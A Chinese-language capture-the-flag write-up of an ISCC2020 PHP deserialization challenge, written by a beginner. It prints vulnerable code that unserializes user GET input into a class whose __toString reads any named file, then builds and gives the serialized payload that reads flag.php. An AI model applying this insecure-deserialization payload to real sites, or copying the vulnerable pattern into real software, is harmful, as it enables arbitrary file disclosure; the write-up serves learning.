ISCC2020-PHP is the best language
这也算是我第一次成功做出来一道PHP反序列化的题目了,在此记录一下。以前看到这种题目看一眼就放弃了,根本看不懂,现在也算是入了个门吧,也不再畏惧这类题目了。那么话不多说,开始淦。
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}
$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}
?>
看上去代码很多,很多新手比如我就已经选择放弃了,其实仔细一看,也不是很难,看这个类
<?php
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
?>
这里审计一波,如果这个类里面的file变量已经设置,就满足条件,file_get_contents函数可以读取文件的内容(把整个文件读入一个字符串中),然后base64编码输出。而这里是定义了一个魔术方法
__toString(当echo变量时会调用这个方法)
这里我们再看源代码的一段
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
这里我们的思路就很清晰了,要读取flag.php中的内容,则使$file变量为flag.php,然后进行序列化。最后使用GET方法传递参数data,这里的payload为:
<?php
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
$a = new baby();
$a->file='flag.php';
echo serialize($a);
?>
序列化的结果为:
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
故最终payload为:
/?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
得到一串base64,解码得flag